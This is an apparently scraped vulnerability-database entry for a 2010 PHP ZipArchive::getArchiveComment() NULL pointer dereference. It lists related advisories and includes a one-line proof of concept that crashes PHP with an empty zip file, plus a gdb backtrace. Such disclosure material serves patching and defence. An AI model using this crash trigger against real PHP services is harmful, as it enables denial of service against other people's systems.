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PHP ZipArchive::getArchiveComment()函数空指针引用拒绝服务漏洞
| Reporter | Title | Published | Views | Family All 116 |
|---|---|---|---|---|
 | PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference | 6 Nov 201000:00 | – | zdt |
 | php-zip -- multiple Denial of Service vulnerabilities | 13 Dec 201000:00 | – | freebsd |
 | PHP 5.3.x < 5.3.4 Multiple Vulnerabilities | 10 Dec 201000:00 | – | nessus |
| PHP 5.2.x < 5.2.15 Multiple Vulnerabilities | 13 Dec 201000:00 | – | nessus |
| Mac OS X 10.6 < 10.6.7 Multiple Vulnerabilities | 21 Mar 201100:00 | – | nessus |
| Mac OS X 10.6 < 10.6.7 Multiple Vulnerabilities | 21 Mar 201100:00 | – | nessus |
| PHP 5.3 < 5.3.4 Multiple Vulnerabilities | 10 Dec 201000:00 | – | nessus |
| PHP 5.2.x < 5.2.15 Multiple Vulnerabilities | 13 Dec 201000:00 | – | nessus |
| Debian DSA-2195-1 : php5 - several vulnerabilities | 21 Mar 201100:00 | – | nessus |
| Fedora 14 : maniadrive-1.2-23.fc14 / php-5.3.4-1.fc14.1 / php-eaccelerator-0.9.6.1-3.fc14 (2010-18976) | 5 Jan 201100:00 | – | nessus |
10
cx@cx64:/www$ touch empty.zip
cx@cx64:/www$ php -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Segmentation fault
Debug:
cx@cx64:/www$ gdb -q php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Starting program: /usr/bin/php -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff530edbb in memcpy () from /lib/libc.so.6
(gdb) bt
#0 0x00007ffff530edbb in memcpy () from /lib/libc.so.6
#1 0x0000000000679fa8 in _estrndup ()
#2 0x00000000006371e5 in ?? ()
#3 0x00000000006e793a in ?? ()
#4 0x00000000006bec20 in execute ()
#5 0x000000000068b44a in zend_eval_stringl ()
#6 0x000000000068b5c9 in zend_eval_stringl_ex ()
#7 0x000000000072743e in ?? ()
#8 0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6
#9 0x000000000042c6a9 in _start ()
(gdb) x/i $rip
=> 0x7ffff530edbb <memcpy+347>: rep movsq %ds:(%rsi),%es:(%rdi)
(gdb) x/x $rsi
0x0: Cannot access memory at address 0x0
(gdb) x/x $rbp
0xffffffff: Cannot access memory at address 0xffffffff
Data
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10 Nov 2010 00:00Current
7High risk
Vulners AI Score7
EPSS0.09461